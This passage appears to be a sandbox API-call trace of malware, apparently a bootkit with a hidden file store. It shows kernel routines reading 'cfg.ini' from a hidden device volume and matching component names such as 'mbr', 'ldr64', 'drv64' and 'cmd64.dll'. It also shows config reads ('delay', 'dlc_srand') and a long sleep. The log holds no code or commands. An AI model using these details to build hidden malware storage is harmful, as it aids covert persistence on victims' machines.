Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.229] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.229] IdePortDispatch () returned 0x103 [0126.229] KeWaitForMutexObject () returned 0x0 [0126.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.230] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.230] IdePortDispatch () returned 0x103 [0126.230] KeWaitForMutexObject () returned 0x0 [0126.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.230] KeLeaveCriticalRegion () [0126.230] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.230] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.230] KeEnterCriticalRegion () [0126.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.230] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.230] KeLeaveCriticalRegion () [0126.230] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.230] KeEnterCriticalRegion () [0126.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.230] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.230] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.230] KeLeaveCriticalRegion () [0126.230] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.230] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.230] KeEnterCriticalRegion () [0126.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.230] ExFreePoolWithTag (P=0xfffffa80037e0250, Tag=0x0) [0126.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.231] KeLeaveCriticalRegion () [0126.231] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.231] ReleaseMutex (hMutex=0xf0) returned 1 [0126.231] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.231] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.231] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.231] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.231] KeEnterCriticalRegion () [0126.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.231] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.231] IdePortDispatch () returned 0x103 [0126.231] KeWaitForMutexObject () returned 0x0 [0126.231] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.231] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.231] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.231] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.231] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.231] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.231] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.231] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.231] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.231] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.231] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.231] KeLeaveCriticalRegion () [0126.231] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.231] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.231] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.231] KeEnterCriticalRegion () [0126.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.232] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.232] IdePortDispatch () returned 0x103 [0126.232] KeWaitForMutexObject () returned 0x0 [0126.232] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.232] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.232] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.232] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.232] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.232] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.232] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.232] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.232] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.232] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.232] KeLeaveCriticalRegion () [0126.232] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.232] ReleaseMutex (hMutex=0x100) returned 1 [0126.232] Sleep (dwMilliseconds=0x2bf20) [0126.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e700e50, dwHighDateTime=0x1d24fa4)) [0126.240] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.240] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.240] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.240] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.240] KeEnterCriticalRegion () [0126.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.240] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.240] IdePortDispatch () returned 0x103 [0126.240] KeWaitForMutexObject () returned 0x0 [0126.240] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.240] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.240] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.240] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.240] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.240] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dc380 [0126.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.240] KeLeaveCriticalRegion () [0126.240] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.240] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.240] KeEnterCriticalRegion () [0126.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.240] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.240] KeLeaveCriticalRegion () [0126.240] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.240] KeEnterCriticalRegion () [0126.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.241] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.241] IdePortDispatch () returned 0x103 [0126.241] KeWaitForMutexObject () returned 0x0 [0126.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.241] KeLeaveCriticalRegion () [0126.241] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.241] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.241] KeEnterCriticalRegion () [0126.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.241] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034db000 [0126.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.241] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.241] IdePortDispatch () returned 0x103 [0126.241] KeWaitForMutexObject () returned 0x0 [0126.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.241] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.241] IdePortDispatch () returned 0x103 [0126.241] KeWaitForMutexObject () returned 0x0 [0126.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.242] KeLeaveCriticalRegion () [0126.242] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.242] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.242] KeEnterCriticalRegion () [0126.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.242] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.242] KeLeaveCriticalRegion () [0126.242] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.242] KeEnterCriticalRegion () [0126.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.242] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.242] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.242] KeLeaveCriticalRegion () [0126.242] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.242] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.242] KeEnterCriticalRegion () [0126.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.242] ExFreePoolWithTag (P=0xfffffa80037dc380, Tag=0x0) [0126.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.242] KeLeaveCriticalRegion () [0126.242] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.243] ReleaseMutex (hMutex=0xf0) returned 1 [0126.243] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.243] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.243] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.243] KeEnterCriticalRegion () [0126.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.243] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.243] IdePortDispatch () returned 0x103 [0126.243] KeWaitForMutexObject () returned 0x0 [0126.243] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.243] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.243] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.243] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.243] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.243] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e0250 [0126.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.243] KeLeaveCriticalRegion () [0126.243] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.243] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.243] KeEnterCriticalRegion () [0126.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.243] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.243] KeLeaveCriticalRegion () [0126.243] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.243] KeEnterCriticalRegion () [0126.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.243] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.243] IdePortDispatch () returned 0x103 [0126.244] KeWaitForMutexObject () returned 0x0 [0126.244] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.244] KeLeaveCriticalRegion () [0126.244] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.244] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.244] KeEnterCriticalRegion () [0126.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.244] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034dc000 [0126.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.244] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.244] IdePortDispatch () returned 0x103 [0126.244] KeWaitForMutexObject () returned 0x0 [0126.244] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.244] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.244] IdePortDispatch () returned 0x103 [0126.244] KeWaitForMutexObject () returned 0x0 [0126.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.244] KeLeaveCriticalRegion () [0126.245] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.245] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.245] KeEnterCriticalRegion () [0126.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.245] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.245] KeLeaveCriticalRegion () [0126.245] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.245] KeEnterCriticalRegion () [0126.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.245] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.245] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.245] KeLeaveCriticalRegion () [0126.245] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.245] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.245] KeEnterCriticalRegion () [0126.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.245] ExFreePoolWithTag (P=0xfffffa80037e0250, Tag=0x0) [0126.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.245] KeLeaveCriticalRegion () [0126.245] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.245] ReleaseMutex (hMutex=0xf0) returned 1 [0126.245] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.245] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.245] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.245] KeEnterCriticalRegion () [0126.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.246] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.246] IdePortDispatch () returned 0x103 [0126.246] KeWaitForMutexObject () returned 0x0 [0126.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.246] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.246] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.246] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.246] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, 